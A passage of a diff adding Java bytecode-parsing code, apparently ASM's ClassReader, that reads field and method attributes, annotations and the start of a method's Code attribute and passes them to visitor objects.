runtimeVisibleTypeAnnotationsOffset = 0; + // - The offset of the RuntimeInvisibleTypeAnnotations attribute, or 0. + int runtimeInvisibleTypeAnnotationsOffset = 0; + // - The non standard attributes (linked with their {@link Attribute#nextAttribute} field). + // This list in the reverse order or their order in the ClassFile structure. + Attribute attributes = null; + + int attributesCount = readUnsignedShort(currentOffset); + currentOffset += 2; + while (attributesCount-- > 0) { + // Read the attribute_info's attribute_name and attribute_length fields. + String attributeName = readUTF8(currentOffset, charBuffer); + int attributeLength = readInt(currentOffset + 2); + currentOffset += 6; + // The tests are sorted in decreasing frequency order (based on frequencies observed on + // typical classes). + if (Constants.CONSTANT_VALUE.equals(attributeName)) { + int constantvalueIndex = readUnsignedShort(currentOffset); + constantValue = constantvalueIndex == 0 ? null : readConst(constantvalueIndex, charBuffer); + } else if (Constants.SIGNATURE.equals(attributeName)) { + signature = readUTF8(currentOffset, charBuffer); + } else if (Constants.DEPRECATED.equals(attributeName)) { + accessFlags |= Opcodes.ACC_DEPRECATED; + } else if (Constants.SYNTHETIC.equals(attributeName)) { + accessFlags |= Opcodes.ACC_SYNTHETIC; + } else if (Constants.RUNTIME_VISIBLE_ANNOTATIONS.equals(attributeName)) { + runtimeVisibleAnnotationsOffset = currentOffset; + } else if (Constants.RUNTIME_VISIBLE_TYPE_ANNOTATIONS.equals(attributeName)) { + runtimeVisibleTypeAnnotationsOffset = currentOffset; + } else if (Constants.RUNTIME_INVISIBLE_ANNOTATIONS.equals(attributeName)) { + runtimeInvisibleAnnotationsOffset = currentOffset; + } else if (Constants.RUNTIME_INVISIBLE_TYPE_ANNOTATIONS.equals(attributeName)) { + runtimeInvisibleTypeAnnotationsOffset = currentOffset; + } else { + Attribute attribute = + readAttribute( + context.attributePrototypes, + attributeName, + currentOffset, + attributeLength, + charBuffer, + -1, + null); + attribute.nextAttribute = attributes; + attributes = attribute; + } + currentOffset += attributeLength; + } + + // Visit the field declaration. + FieldVisitor fieldVisitor = + classVisitor.visitField(accessFlags, name, descriptor, signature, constantValue); + if (fieldVisitor == null) { + return currentOffset; + } + + // Visit the RuntimeVisibleAnnotations attribute. + if (runtimeVisibleAnnotationsOffset != 0) { + int numAnnotations = readUnsignedShort(runtimeVisibleAnnotationsOffset); + int currentAnnotationOffset = runtimeVisibleAnnotationsOffset + 2; + while (numAnnotations-- > 0) { + // Parse the type_index field. + String annotationDescriptor = readUTF8(currentAnnotationOffset, charBuffer); + currentAnnotationOffset += 2; + // Parse num_element_value_pairs and element_value_pairs and visit these values. + currentAnnotationOffset = + readElementValues( + fieldVisitor.visitAnnotation(annotationDescriptor, /* visible = */ true), + currentAnnotationOffset, + /* named = */ true, + charBuffer); + } + } + + // Visit the RuntimeInvisibleAnnotations attribute. + if (runtimeInvisibleAnnotationsOffset != 0) { + int numAnnotations = readUnsignedShort(runtimeInvisibleAnnotationsOffset); + int currentAnnotationOffset = runtimeInvisibleAnnotationsOffset + 2; + while (numAnnotations-- > 0) { + // Parse the type_index field. + String annotationDescriptor = readUTF8(currentAnnotationOffset, charBuffer); + currentAnnotationOffset += 2; + // Parse num_element_value_pairs and element_value_pairs and visit these values. + currentAnnotationOffset = + readElementValues( + fieldVisitor.visitAnnotation(annotationDescriptor, /* visible = */ false), + currentAnnotationOffset, + /* named = */ true, + charBuffer); + } + } + + // Visit the RuntimeVisibleTypeAnnotations attribute. + if (runtimeVisibleTypeAnnotationsOffset != 0) { + int numAnnotations = readUnsignedShort(runtimeVisibleTypeAnnotationsOffset); + int currentAnnotationOffset = runtimeVisibleTypeAnnotationsOffset + 2; + while (numAnnotations-- > 0) { + // Parse the target_type, target_info and target_path fields. + currentAnnotationOffset = readTypeAnnotationTarget(context, currentAnnotationOffset); + // Parse the type_index field. + String annotationDescriptor = readUTF8(currentAnnotationOffset, charBuffer); + currentAnnotationOffset += 2; + // Parse num_element_value_pairs and element_value_pairs and visit these values. + currentAnnotationOffset = + readElementValues( + fieldVisitor.visitTypeAnnotation( + context.currentTypeAnnotationTarget, + context.currentTypeAnnotationTargetPath, + annotationDescriptor, + /* visible = */ true), + currentAnnotationOffset, + /* named = */ true, + charBuffer); + } + } + + // Visit the RuntimeInvisibleTypeAnnotations attribute. + if (runtimeInvisibleTypeAnnotationsOffset != 0) { + int numAnnotations = readUnsignedShort(runtimeInvisibleTypeAnnotationsOffset); + int currentAnnotationOffset = runtimeInvisibleTypeAnnotationsOffset + 2; + while (numAnnotations-- > 0) { + // Parse the target_type, target_info and target_path fields. + currentAnnotationOffset = readTypeAnnotationTarget(context, currentAnnotationOffset); + // Parse the type_index field. + String annotationDescriptor = readUTF8(currentAnnotationOffset, charBuffer); + currentAnnotationOffset += 2; + // Parse num_element_value_pairs and element_value_pairs and visit these values. + currentAnnotationOffset = + readElementValues( + fieldVisitor.visitTypeAnnotation( + context.currentTypeAnnotationTarget, + context.currentTypeAnnotationTargetPath, + annotationDescriptor, + /* visible = */ false), + currentAnnotationOffset, + /* named = */ true, + charBuffer); + } + } + + // Visit the non standard attributes. + while (attributes != null) { + // Copy and reset the nextAttribute field so that it can also be used in FieldWriter. + Attribute nextAttribute = attributes.nextAttribute; + attributes.nextAttribute = null; + fieldVisitor.visitAttribute(attributes); + attributes = nextAttribute; + } + + // Visit the end of the field. + fieldVisitor.visitEnd(); + return currentOffset; + } + + /** + * Reads a JVMS method_info structure and makes the given visitor visit it. + * + * @param classVisitor the visitor that must visit the method. + * @param context information about the class being parsed. + * @param methodInfoOffset the start offset of the method_info structure. + * @return the offset of the first byte following the method_info structure. + */ + private int readMethod( + final ClassVisitor classVisitor, final Context context, final int methodInfoOffset) { + char[] charBuffer = context.charBuffer; + + // Read the access_flags, name_index and descriptor_index fields. + int currentOffset = methodInfoOffset; + context.currentMethodAccessFlags = readUnsignedShort(currentOffset); + context.currentMethodName = readUTF8(currentOffset + 2, charBuffer); + context.currentMethodDescriptor = readUTF8(currentOffset + 4, charBuffer); + currentOffset += 6; + + // Read the method attributes (the variables are ordered as in Section 4.7 of the JVMS). + // Attribute offsets exclude the attribute_name_index and attribute_length fields. + // - The offset of the Code attribute, or 0. + int codeOffset = 0; + // - The offset of the Exceptions attribute, or 0. + int exceptionsOffset = 0; + // - The strings corresponding to the Exceptions attribute, or null. + String[] exceptions = null; + // - Whether the method has a Synthetic attribute. + boolean synthetic = false; + // - The constant pool index contained in the Signature attribute, or 0. + int signatureIndex = 0; + // - The offset of the RuntimeVisibleAnnotations attribute, or 0. + int runtimeVisibleAnnotationsOffset = 0; + // - The offset of the RuntimeInvisibleAnnotations attribute, or 0. + int runtimeInvisibleAnnotationsOffset = 0; + // - The offset of the RuntimeVisibleParameterAnnotations attribute, or 0. + int runtimeVisibleParameterAnnotationsOffset = 0; + // - The offset of the RuntimeInvisibleParameterAnnotations attribute, or 0. + int runtimeInvisibleParameterAnnotationsOffset = 0; + // - The offset of the RuntimeVisibleTypeAnnotations attribute, or 0. + int runtimeVisibleTypeAnnotationsOffset = 0; + // - The offset of the RuntimeInvisibleTypeAnnotations attribute, or 0. + int runtimeInvisibleTypeAnnotationsOffset = 0; + // - The offset of the AnnotationDefault attribute, or 0. + int annotationDefaultOffset = 0; + // - The offset of the MethodParameters attribute, or 0. + int methodParametersOffset = 0; + // - The non standard attributes (linked with their {@link Attribute#nextAttribute} field). + // This list in the reverse order or their order in the ClassFile structure. + Attribute attributes = null; + + int attributesCount = readUnsignedShort(currentOffset); + currentOffset += 2; + while (attributesCount-- > 0) { + // Read the attribute_info's attribute_name and attribute_length fields. + String attributeName = readUTF8(currentOffset, charBuffer); + int attributeLength = readInt(currentOffset + 2); + currentOffset += 6; + // The tests are sorted in decreasing frequency order (based on frequencies observed on + // typical classes). + if (Constants.CODE.equals(attributeName)) { + if ((context.parsingOptions & SKIP_CODE) == 0) { + codeOffset = currentOffset; + } + } else if (Constants.EXCEPTIONS.equals(attributeName)) { + exceptionsOffset = currentOffset; + exceptions = new String[readUnsignedShort(exceptionsOffset)]; + int currentExceptionOffset = exceptionsOffset + 2; + for (int i = 0; i < exceptions.length; ++i) { + exceptions[i] = readClass(currentExceptionOffset, charBuffer); + currentExceptionOffset += 2; + } + } else if (Constants.SIGNATURE.equals(attributeName)) { + signatureIndex = readUnsignedShort(currentOffset); + } else if (Constants.DEPRECATED.equals(attributeName)) { + context.currentMethodAccessFlags |= Opcodes.ACC_DEPRECATED; + } else if (Constants.RUNTIME_VISIBLE_ANNOTATIONS.equals(attributeName)) { + runtimeVisibleAnnotationsOffset = currentOffset; + } else if (Constants.RUNTIME_VISIBLE_TYPE_ANNOTATIONS.equals(attributeName)) { + runtimeVisibleTypeAnnotationsOffset = currentOffset; + } else if (Constants.ANNOTATION_DEFAULT.equals(attributeName)) { + annotationDefaultOffset = currentOffset; + } else if (Constants.SYNTHETIC.equals(attributeName)) { + synthetic = true; + context.currentMethodAccessFlags |= Opcodes.ACC_SYNTHETIC; + } else if (Constants.RUNTIME_INVISIBLE_ANNOTATIONS.equals(attributeName)) { + runtimeInvisibleAnnotationsOffset = currentOffset; + } else if (Constants.RUNTIME_INVISIBLE_TYPE_ANNOTATIONS.equals(attributeName)) { + runtimeInvisibleTypeAnnotationsOffset = currentOffset; + } else if (Constants.RUNTIME_VISIBLE_PARAMETER_ANNOTATIONS.equals(attributeName)) { + runtimeVisibleParameterAnnotationsOffset = currentOffset; + } else if (Constants.RUNTIME_INVISIBLE_PARAMETER_ANNOTATIONS.equals(attributeName)) { + runtimeInvisibleParameterAnnotationsOffset = currentOffset; + } else if (Constants.METHOD_PARAMETERS.equals(attributeName)) { + methodParametersOffset = currentOffset; + } else { + Attribute attribute = + readAttribute( + context.attributePrototypes, + attributeName, + currentOffset, + attributeLength, + charBuffer, + -1, + null); + attribute.nextAttribute = attributes; + attributes = attribute; + } + currentOffset += attributeLength; + } + + // Visit the method declaration. + MethodVisitor methodVisitor = + classVisitor.visitMethod( + context.currentMethodAccessFlags, + context.currentMethodName, + context.currentMethodDescriptor, + signatureIndex == 0 ? null : readUtf(signatureIndex, charBuffer), + exceptions); + if (methodVisitor == null) { + return currentOffset; + } + + // If the returned MethodVisitor is in fact a MethodWriter, it means there is no method + // adapter between the reader and the writer. In this case, it might be possible to copy + // the method attributes directly into the writer. If so, return early without visiting + // the content of these attributes. + if (methodVisitor instanceof MethodWriter) { + MethodWriter methodWriter = (MethodWriter) methodVisitor; + if (methodWriter.canCopyMethodAttributes( + this, + methodInfoOffset, + currentOffset - methodInfoOffset, + synthetic, + (context.currentMethodAccessFlags & Opcodes.ACC_DEPRECATED) != 0, + readUnsignedShort(methodInfoOffset + 4), + signatureIndex, + exceptionsOffset)) { + return currentOffset; + } + } + + // Visit the MethodParameters attribute. + if (methodParametersOffset != 0) { + int parametersCount = readByte(methodParametersOffset); + int currentParameterOffset = methodParametersOffset + 1; + while (parametersCount-- > 0) { + // Read the name_index and access_flags fields and visit them. + methodVisitor.visitParameter( + readUTF8(currentParameterOffset, charBuffer), + readUnsignedShort(currentParameterOffset + 2)); + currentParameterOffset += 4; + } + } + + // Visit the AnnotationDefault attribute. + if (annotationDefaultOffset != 0) { + AnnotationVisitor annotationVisitor = methodVisitor.visitAnnotationDefault(); + readElementValue(annotationVisitor, annotationDefaultOffset, null, charBuffer); + if (annotationVisitor != null) { + annotationVisitor.visitEnd(); + } + } + + // Visit the RuntimeVisibleAnnotations attribute. + if (runtimeVisibleAnnotationsOffset != 0) { + int numAnnotations = readUnsignedShort(runtimeVisibleAnnotationsOffset); + int currentAnnotationOffset = runtimeVisibleAnnotationsOffset + 2; + while (numAnnotations-- > 0) { + // Parse the type_index field. + String annotationDescriptor = readUTF8(currentAnnotationOffset, charBuffer); + currentAnnotationOffset += 2; + // Parse num_element_value_pairs and element_value_pairs and visit these values. + currentAnnotationOffset = + readElementValues( + methodVisitor.visitAnnotation(annotationDescriptor, /* visible = */ true), + currentAnnotationOffset, + /* named = */ true, + charBuffer); + } + } + + // Visit the RuntimeInvisibleAnnotations attribute. + if (runtimeInvisibleAnnotationsOffset != 0) { + int numAnnotations = readUnsignedShort(runtimeInvisibleAnnotationsOffset); + int currentAnnotationOffset = runtimeInvisibleAnnotationsOffset + 2; + while (numAnnotations-- > 0) { + // Parse the type_index field. + String annotationDescriptor = readUTF8(currentAnnotationOffset, charBuffer); + currentAnnotationOffset += 2; + // Parse num_element_value_pairs and element_value_pairs and visit these values. + currentAnnotationOffset = + readElementValues( + methodVisitor.visitAnnotation(annotationDescriptor, /* visible = */ false), + currentAnnotationOffset, + /* named = */ true, + charBuffer); + } + } + + // Visit the RuntimeVisibleTypeAnnotations attribute. + if (runtimeVisibleTypeAnnotationsOffset != 0) { + int numAnnotations = readUnsignedShort(runtimeVisibleTypeAnnotationsOffset); + int currentAnnotationOffset = runtimeVisibleTypeAnnotationsOffset + 2; + while (numAnnotations-- > 0) { + // Parse the target_type, target_info and target_path fields. + currentAnnotationOffset = readTypeAnnotationTarget(context, currentAnnotationOffset); + // Parse the type_index field. + String annotationDescriptor = readUTF8(currentAnnotationOffset, charBuffer); + currentAnnotationOffset += 2; + // Parse num_element_value_pairs and element_value_pairs and visit these values. + currentAnnotationOffset = + readElementValues( + methodVisitor.visitTypeAnnotation( + context.currentTypeAnnotationTarget, + context.currentTypeAnnotationTargetPath, + annotationDescriptor, + /* visible = */ true), + currentAnnotationOffset, + /* named = */ true, + charBuffer); + } + } + + // Visit the RuntimeInvisibleTypeAnnotations attribute. + if (runtimeInvisibleTypeAnnotationsOffset != 0) { + int numAnnotations = readUnsignedShort(runtimeInvisibleTypeAnnotationsOffset); + int currentAnnotationOffset = runtimeInvisibleTypeAnnotationsOffset + 2; + while (numAnnotations-- > 0) { + // Parse the target_type, target_info and target_path fields. + currentAnnotationOffset = readTypeAnnotationTarget(context, currentAnnotationOffset); + // Parse the type_index field. + String annotationDescriptor = readUTF8(currentAnnotationOffset, charBuffer); + currentAnnotationOffset += 2; + // Parse num_element_value_pairs and element_value_pairs and visit these values. + currentAnnotationOffset = + readElementValues( + methodVisitor.visitTypeAnnotation( + context.currentTypeAnnotationTarget, + context.currentTypeAnnotationTargetPath, + annotationDescriptor, + /* visible = */ false), + currentAnnotationOffset, + /* named = */ true, + charBuffer); + } + } + + // Visit the RuntimeVisibleParameterAnnotations attribute. + if (runtimeVisibleParameterAnnotationsOffset != 0) { + readParameterAnnotations( + methodVisitor, context, runtimeVisibleParameterAnnotationsOffset, /* visible = */ true); + } + + // Visit the RuntimeInvisibleParameterAnnotations attribute. + if (runtimeInvisibleParameterAnnotationsOffset != 0) { + readParameterAnnotations( + methodVisitor, + context, + runtimeInvisibleParameterAnnotationsOffset, + /* visible = */ false); + } + + // Visit the non standard attributes. + while (attributes != null) { + // Copy and reset the nextAttribute field so that it can also be used in MethodWriter. + Attribute nextAttribute = attributes.nextAttribute; + attributes.nextAttribute = null; + methodVisitor.visitAttribute(attributes); + attributes = nextAttribute; + } + + // Visit the Code attribute. + if (codeOffset != 0) { + methodVisitor.visitCode(); + readCode(methodVisitor, context, codeOffset); + } + + // Visit the end of the method. + methodVisitor.visitEnd(); + return currentOffset; + } + + // ---------------------------------------------------------------------------------------------- + // Methods to parse a Code attribute + // ---------------------------------------------------------------------------------------------- + + /** + * Reads a JVMS 'Code' attribute and makes the given visitor visit it. + * + * @param methodVisitor the visitor that must visit the Code attribute. + * @param context information about the class being parsed. + * @param codeOffset the start offset in {@link #b} of the Code attribute, excluding its + * attribute_name_index and attribute_length fields. + */ + private void readCode( + final MethodVisitor methodVisitor, final Context context, final int codeOffset) { + int currentOffset = codeOffset; + + // Read the max_stack, max_locals and code_length fields. + final byte[] classFileBuffer = b; + final char[] charBuffer = context.charBuffer; + final int maxStack = readUnsignedShort(currentOffset); + final int maxLocals = readUnsignedShort(currentOffset + 2); + final int codeLength = readInt(currentOffset + 4); + currentOffset += 8; + + // Read the bytecode 'code' array to create a label for each referenced instruction. + final int bytecodeStartOffset = currentOffset; + final int bytecodeEndOffset = currentOffset + codeLength; + final Label[] labels = context.currentMethodLabels = new Label[codeLength + 1]; + while (currentOffset < bytecodeEndOffset) { + final int bytecodeOffset = currentOffset - bytecodeStartOffset; + final int opcode = classFileBuffer[currentOffset] & 0xFF; + switch (opcode) { + case Constants.NOP: + case Constants.ACONST_NULL: + case Constants.ICONST_M1: + case Constants.ICONST_0: + case Constants.ICONST_1: + case Constants.ICONST_2: + case Constants.ICONST_3: + case Constants.ICONST_4: + case Constants.ICONST_5: + case Constants.LCONST_0: + case Constants.LCONST_1: + case Constants.FCONST_0: + case Constants.FCONST_1: + case Constants.FCONST_2: + case Constants.DCONST_0: + case Constants.DCONST_1: + case Constants.IALOAD: + case Constants.LALOAD: + case Constants.FALOAD: + case Constants.DALOAD: + case Constants.AALOAD: + case Constants.BALOAD: + case Constants.CALOAD: + case Constants.SALOAD: + case Constants.IASTORE: + case Constants.LASTORE: + case Constants.FASTORE: + case Constants.DASTORE: + case Constants.AASTORE: + case Constants.BASTORE: + case Constants.CASTORE: + case Constants.SASTORE: + case Constants.POP: + case Constants.POP2: + case Constants.DUP: + case Constants.DUP_X1: + case Constants.DUP_X2: + case Constants.DUP2: + case Constants.DUP2_X1: + case Constants.DUP2_X2: + case Constants.SWAP: + case Constants.IADD: + case Constants.LADD: + case Constants.FADD: + case Constants.DADD: + case Constants.ISUB: + case Constants.LSUB: + case Constants.FSUB: + case Constants.DSUB: + case Constants.IMUL: + case Constants.LMUL: + case Constants.FMUL: + case Constants.DMUL: + case Constants.IDIV: + case Constants.LDIV: + case Constants.FDIV: + case Constants.DDIV: + case Constants.IREM: + case Constants.LREM: + case Constants.FREM: + case Constants.DREM: + case Constants.INEG: + case Constants.LNEG: + case Constants.FNEG: + case Constants.DNEG: + case Constants.ISHL: + case Constants.LSHL: + case Constants.ISHR: + case Constants.LSHR: + case Constants.IUSHR: + case Constants.LUSHR: + case Constants.IAND: + case Constants.LAND: + case Constants.IOR: + case Constants.LOR: + case Constants.IXOR: + case Constants.LXOR: + case Constants.I2L: + case Constants.I2F: + case Constants.I2D: + case Constants.L2I: + case Constants.L2F: + case Constants.L2D: + case Constants.F2I: + case Constants.F2L: + case Constants.F2D: + case Constants.D2I: + case Constants.D2L: + case Constants.D2F: + case Constants.I2B: + case Constants.I2C: + case Constants.I2S: + case Constants.LCMP: + case Constants.FCMPL: + case Constants.FCMPG: + case Constants.DCMPL: + case Constants.DCMPG: + case Constants.IRETURN: + case Constants.LRETURN: + case Constants.FRETURN: + case Constants.DRETURN: + case Constants.ARETURN: + case Constants.RETURN: + case Constants.ARRAYLENGTH: + case Constants.ATHROW: + case Constants.MONITORENTER: + case Constants.MONITOREXIT: + case Constants.ILOAD_0: + case Constants.ILOAD_1: + case Constants.ILOAD_2: + case Constants.ILOAD_3: + case Constants.LLOAD_0: + case Constants.LLOAD_1: + case Constants.LLOAD_2: + case Constants.LLOAD_3: + case Constants.FLOAD_0: + case Constants.FLOAD_1: + case Constants.FLOAD_2: + case Constants.FLOAD_3: + case Constants.DLOAD_0: + case Constants.DLOAD_1: + case Constants.DLOAD_2: + case Constants.DLOAD_3: + case Constants.ALOAD_0: + case Constants.ALOAD_1: + case Constants.ALOAD_2: + case Constants.ALOAD_3: + case Constants.ISTORE_0: + case Constants.ISTORE_1: + case Constants.ISTORE_2: + case Constants.ISTORE_3: + case Constants.LSTORE_0: + case Constants.LSTORE_1: + case Constants.LSTORE_2: + case Constants.LSTORE_3: + case Constants.FSTORE_0: + case Constants.FSTORE_1: + case Constants.FSTORE_2: + case Constants.FSTORE_3: + case Constants.DSTORE_0: + case Constants.DSTORE_1: + case Constants.DSTORE_2: + case Constants.DSTORE_3: + case Constants.ASTORE_0: + case Constants.ASTORE_1: + case Constants.ASTORE_2: + case Constants.ASTORE_3: + currentOffset += 1; + break; + case Constants.IFEQ: + case Constants.IFNE: + case Constants.IFLT: + case Constants.IFGE: + case Constants.IFGT: + case Constants.IFLE: + case Constants.IF_ICMPEQ: + case Constants.IF_ICMPNE: + case Constants.IF_ICMPLT: + case Constants.IF_ICMPGE: + case Constants.IF_ICMPGT: + case Constants.IF_ICMPLE: + case Constants.IF_ACMPEQ: + case Constants.IF_ACMPNE: + case Constants.GOTO: + case Constants.JSR: + case Constants.IFNULL: + case Constants.IFNONNULL: + createLabel(bytecodeOffset + readShort(currentOffset + 1), labels); + currentOffset += 3; + break; + case Constants.ASM_IFEQ: + case Constants.ASM_IFNE: + case Constants.ASM_IFLT: + case Constants.ASM_IFGE: + case Constants.ASM_IFGT: + case Constants.ASM_IFLE: + case Constants.ASM_IF_ICMPEQ: + case Constants.ASM_IF_ICMPNE: + case Constants.ASM_IF_ICMPLT: + case Constants.ASM_IF_ICMPGE: + case Constants.ASM_IF_ICMPGT: + case Constants.ASM_IF_ICMPLE: + case Constants.ASM_IF_ACMPEQ: + case Constants.ASM_IF_ACMPNE: + case Constants.ASM_GOTO: + case Constants.ASM_JSR: + case Constants.ASM_IFNULL: + case Constants.ASM_IFNONNULL: + createLabel(bytecodeOffset + readUnsignedShort(currentOffset + 1), labels); + currentOffset += 3; + break; + case Constants.GOTO_W: + case Constants.JSR_W: + case Constants.ASM_GOTO_W: + createLabel(bytecodeOffset + readInt(currentOffset + 1), labels); + currentOffset += 5; + break; + case Constants.WIDE: + switch (classFileBuffer[currentOffset + 1] & 0xFF) { + case Constants.ILOAD: + case Constants.FLOAD: + case Constants.ALOAD: + case Constants.LLOAD: + case Constants.DLOAD: + case Constants.ISTORE: + case Constants.FSTORE: + case Constants.ASTORE: + case Constants.LSTORE: + case Constants.DSTORE: + case Constants.RET: + currentOffset += 4; + break; + case Constants.IINC: + currentOffset += 6; + break; + default: + throw new IllegalArgumentException(); + } + break; + case Constants.TABLESWITCH: + // Skip 0 to 3 padding bytes. + currentOffset += 4 - (bytecodeOffset & 3); + // Read the default label and the number of table entries. + createLabel(bytecodeOffset + readInt(currentOffset), labels); + int numTableEntries = readInt(currentOffset + 8) - readInt(currentOffset + 4) + 1; + currentOffset += 12; + // Read the table labels. + while (numTableEntries-- > 0) { + createLabel(bytecodeOffset + readInt(currentOffset), labels); + currentOffset += 4; + } + break; + case Constants.LOOKUPSWITCH: + // Skip 0 to 3 padding bytes. + currentOffset += 4 - (bytecodeOffset & 3); + // Read the default label and the number of switch cases. + createLabel(bytecodeOffset + readInt(currentOffset), labels); + int numSwitchCases = readInt(currentOffset + 4); + currentOffset += 8; + // Read the switch labels. + while (numSwitchCases-- > 0) { + createLabel(bytecodeOffset + readInt(currentOffset + 4), labels); + currentOffset += 8; + } + break; + case Constants.ILOAD: + case Constants.LLOAD: + case Constants.FLOAD: + case Constants.DLOAD: + case Constants.ALOAD: + case Constants.ISTORE: + case Constants.LSTORE: + case Constants.FSTORE: + case Constants.DSTORE: + case Constants.ASTORE: + case Constants.RET: + case Constants.BIPUSH: + case Constants.NEWARRAY: + case Constants.LDC: + currentOffset += 2; + break; + case Constants.SIPUSH: + case Constants.LDC_W: + case Constants.LDC2_W: + case Constants.GETSTATIC: + case Constants.PUTSTATIC: + case Constants.GETFIELD: + case Constants.PUTFIELD: + case Constants.INVOKEVIRTUAL: + case Constants.INVOKESPECIAL: + case Constants.INVOKESTATIC: + case Constants.NEW: + case Constants.ANEWARRAY: + case Constants.CHECKCAST: + case Constants.INSTANCEOF: + case Constants.IINC: + currentOffset += 3; + break; + case Constants.INVOKEINTERFACE: + case Constants.INVOKEDYNAMIC: + currentOffset += 5; + break; + case Constants.MULTIANEWARRAY: + currentOffset += 4; + break; + default: + throw new IllegalArgumentException(); + } + } + + // Read the 'exception_table_length' and 'exception_table' field to create a label for each + // referenced instruction, and to make methodVisitor visit the corresponding try catch blocks. + int exceptionTableLength = readUnsignedShort(currentOffset); + currentOffset += 2; + while (exceptionTableLength-- > 0) { + Label start = createLabel(readUnsignedShort(currentOffset), labels); + Label end = createLabel(readUnsignedShort(currentOffset + 2), labels); + Label handler = createLabel(readUnsignedShort(currentOffset + 4), labels); + String catchType = readUTF8(cpInfoOffsets[readUnsignedShort(currentOffset + 6)], charBuffer); + currentOffset += 8; + methodVisitor.visitTryCatchBlock(start, end, handler, catchType); + } + + // Read the Code attributes to create a label for each referenced instruction (the variables + // are ordered as in Section 4.7 of the JVMS). Attribute offsets exclude the + // attribute_name_index and attribute_length fields. + // - The offset of the current 'stack_map_frame' in the StackMap[Table] attribute, or 0. + // Initially, this is the offset of the first 'stack_map_frame' entry. Then this offset is + // updated after each stack_map_frame is read. + int stackMapFrameOffset = 0; + // - The end offset of the StackMap[Table] attribute, or 0. + int stackMapTableEndOffset = 0; + // - Whether the stack map frames are compressed (i.e. in a StackMapTable) or not. + boolean compressedFrames = true; + // - The offset of the LocalVariableTable attribute, or 0. + int localVariableTableOffset = 0; + // - The offset of the LocalVariableTypeTable attribute, or 0. + int localVariableTypeTableOffset = 0; + // - The offset of each 'type_annotation' entry in the RuntimeVisibleTypeAnnotations + // attribute, or null. + int[] visibleTypeAnnotationOffsets = null; + // - The offset of each 'type_annotation' entry in the RuntimeInvisibleTypeAnnotations + // attribute, or null. + int[] invisibleTypeAnnotationOffsets = null; + // - The non standard attributes (linked with their {@link Attribute#nextAttribute} field). + // This list in the reverse order or their order in the ClassFile structure. + Attribute attributes = null; + + int attributesCount = readUnsignedShort(currentOffset); + currentOffset += 2; + while (attributesCount-- > 0) { + // Read the attribute_info's attribute_name and attribute_length fields. + String attributeName = readUTF8(currentOffset, charBuffer); + int attributeLength = readInt(currentOffset + 2); + currentOffset += 6; + if (Constants.LOCAL_VARIABLE_TABLE.equals(attributeName)) { + if ((context.parsingOptions & SKIP_DEBUG) == 0) { + localVariableTableOffset = currentOffset; + // Parse the attribute to find the corresponding (debug only) labels. + int currentLocalVariableTableOffset = currentOffset; + int localVariableTableLength = readUnsignedShort(currentLocalVariableTableOffset); + currentLocalVariableTableOffset += 2; + while (localVariableTableLength-- > 0) { + int startPc = readUnsignedShort(currentLocalVariableTableOffset); + createDebugLabel(startPc, labels); + int length = readUnsignedShort(currentLocalVariableTableOffset + 2); + createDebugLabel(startPc + length, labels); + // Skip the name_index, descriptor_index and index fields (2 bytes each). + currentLocalVariableTableOffset += 10; + } + } + } else if (Constants.LOCAL_VARIABLE_TYPE_TABLE.equals(attributeName)) { + localVariableTypeTableOffset = currentOffset; + // Here we do not extract the labels corresponding to the attribute content. We assume they + // are the same or a subset of those of the LocalVariableTable attribute. + } else if (Constants.LINE_NUMBER_TABLE.equals(attributeName)) { + if ((context.parsingOptions & SKIP_DEBUG) == 0) { + // Parse the attribute to find the corresponding (debug only) labels. + int currentLineNumberTableOffset = currentOffset; + int lineNumberTableLength = readUnsignedShort(currentLineNumberTableOffset); + currentLineNumberTableOffset += 2; + while (lineNumberTableLength-- > 0) { + int startPc = readUnsignedShort(currentLineNumberTableOffset); + int lineNumber = readUnsignedShort(currentLineNumberTableOffset + 2); + currentLineNumberTableOffset += 4; + createDebugLabel(startPc, labels); + labels[startPc].addLineNumber(lineNumber); + } + } + } else if (Constants.RUNTIME_VISIBLE_TYPE_ANNOTATIONS.equals(attributeName)) { + visibleTypeAnnotationOffsets = + readTypeAnnotations(methodVisitor, context, currentOffset, /* visible = */ true); + // Here we do not extract the labels corresponding to the attribute content. This would + // require a full parsing of the attribute, which would need to be repeated when parsing + // the bytecode instructions (see below). Instead, the content of the attribute is read one + // type annotation at a time (i.e. after a type annotation has been visited, the next type + // annotation is read), and the labels it contains are also extracted one annotation at a + // time. This assumes that type annotations are ordered by increasing bytecode offset. + } else if (Constants.RUNTIME_INVISIBLE_TYPE_ANNOTATIONS.equals(attributeName)) { + invisibleTypeAnnotationOffsets = + readTypeAnnotations(methodVisitor, context, currentOffset, /* visible = */ false); + // Same comment as above for the RuntimeVisibleTypeAnnotations attribute. + } else if (Constants.STACK_MAP_TABLE.equals(attributeName)) { + if ((context.parsingOptions & SKIP_FRAMES) == 0) { + stackMapFrameOffset = currentOffset + 2; + stackMapTableEndOffset = currentOffset + attributeLength; + } + // Here we do not extract the labels corresponding to the attribute content. This would + // require a full parsing of the attribute, which would need to be repeated when parsing + // the bytecode instructions (see below). Instead, the content of the attribute is read one + // frame at a time (i.e. after a frame has been visited, the next frame is read), and the + // labels it contains are also extracted one frame at a time. Thanks to the ordering of + // frames, having only a "one frame lookahead" is not a problem, i.e. it is not possible to + // see an offset smaller than the offset of the current instruction and for which no Label + // exist. Except for UNINITIALIZED type offsets. We solve this by parsing the stack map + // table without a full decoding (see below). + } else if ("StackMap".equals(attributeName)) { + if ((context.parsingOptions & SKIP_FRAMES) == 0) { + stackMapFrameOffset = currentOffset + 2; + stackMapTableEndOffset = currentOffset + attributeLength; + compressedFrames = false; + } + // IMPORTANT! Here we assume that the frames are ordered, as in the StackMapTable attribute, + // although this is not guaranteed by the attribute format. This allows an incremental + // extraction of the labels corresponding to this attribute (see the comment above for the + // StackMapTable attribute). + } else { + Attribute attribute = + readAttribute( + context.attributePrototypes, + attributeName, + currentOffset, + attributeLength, + charBuffer, + codeOffset, + labels); + attribute.nextAttribute = attributes; + attributes = attribute; + } + currentOffset += attributeLength; + } + + // Initialize the context fields related to stack map frames, and generate the first + // (implicit) stack map frame, if needed. + final boolean expandFrames = (context.parsingOptions & EXPAND_FRAMES) != 0; + if (stackMapFrameOffset != 0) { + // The bytecode offset of the first explicit frame is not offset_delta + 1 but only + // offset_delta. Setting the implicit frame offset to -1 allows us to use of the + // "offset_delta + 1" rule in all cases. + context.currentFrameOffset = -1; + context.currentFrameType = 0; + context.currentFrameLocalCount = 0; + context.currentFrameLocalCountDelta = 0; + context.currentFrameLocalTypes = new Object[maxLocals]; + context.currentFrameStackCount = 0; + context.currentFrameStackTypes = new Object[maxStack]; 